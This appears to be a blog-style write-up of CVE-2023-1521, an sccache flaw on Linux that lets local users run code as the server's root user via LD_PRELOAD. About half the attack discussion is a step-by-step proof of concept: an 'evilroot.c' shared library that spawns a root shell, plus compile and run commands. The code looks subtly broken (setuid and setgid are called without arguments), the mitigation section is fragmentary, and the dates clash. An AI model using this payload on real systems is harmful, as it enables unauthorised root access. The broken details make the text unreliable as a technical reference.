On March 16, 2023, a serious security issue was discovered in the sccache server on Linux systems. Tracked as CVE-2023-1521, this vulnerability lets any user who can connect to a local sccache server run arbitrary code using the privileges of the server process. If that server runs as root, an attacker can easily get a root shell — and unfortunately, the default Snap package *does* run the server as root.

What is sccache?

sccache is a “compiler cache” tool designed to speed up C/C++ (and Rust) builds. Its architecture involves a client and a server, and the server decides whether it can reuse a cached compilation result.

The Heart of the Exploit: LD_PRELOAD

On Linux, the LD_PRELOAD environment variable is used to load a specified shared library before any others. Attackers (or regular users) have abused this for years to inject code into processes — if they can make a process load their custom .so file, they can do whatever they want inside that process.

In CVE-2023-1521, the sccache client can *ask* the sccache server to run a compiler command with LD_PRELOAD set to an attacker-chosen path. Since the server is the one actually running the compiler, and since the server might be running as root, this means the *attacker’s code gets run as root*.

Let’s say we want to escalate to root and just spawn a root shell. Write the following C code

// evilroot.c
#include <stdio.h>
#include <unistd.h>

void _init() {
    setuid();
    setgid();
    execl("/bin/sh", "sh", NULL);
}

Compile it

gcc -fPIC -shared -o /tmp/evilroot.so evilroot.c

Now, run any compiler command using sccache, with LD_PRELOAD set to our malicious .so

LD_PRELOAD=/tmp/evilroot.so sccache gcc -c harmless.c

Since the sccache *server* is the one that actually launches the compiler, and if the server is running as root (as it does by default with the Snap package), our shared library is loaded as root.

Here's a simple proof-of-concept. In one shell, install sccache with snap (which runs as root!)

sudo snap install sccache

In another shell, run

cat <<EOF > evilroot.c
#include <unistd.h>
void _init() { setuid(); setgid(); execl("/bin/sh", "sh", NULL); }
EOF

gcc -fPIC -shared -o /tmp/evilroot.so evilroot.c

touch dummy.c

LD_PRELOAD=/tmp/evilroot.so sccache gcc -c dummy.c

Why Does This Happen?

The problem is the separation of privilege: the sccache *client* can set arbitrary environment variables for builds, and the *server* (running as root) blindly applies these when launching the compiler.

In most setups, the server and client might both be owned by the same user, making this harmless. But on Snap, sccache runs as root by default — so all users on the system can exploit this.

Restrict which environment variables can be set by clients.

- Upgrade to a patched version — check the GitHub Security Advisory.

Official References

- Mozilla Security Advisory
- NVD CVE Entry
- Snapcraft package for sccache

Summary

CVE-2023-1521 is a classic example of why privilege separation and environment variable filtering are so important in server/client software! If you run sccache as root (especially with the Snap version), *stop now!* Any local user can escalate to root using a simple LD_PRELOAD trick.

Stay safe — always check who your long-running daemons are running as, and beware of what environment variables they let through!


*If you found this post helpful, check out the official advisories — and double-check your build pipeline security!*

Timeline

Published on: 11/26/2024 12:15:18 UTC
Last modified on: 11/26/2024 21:15:04 UTC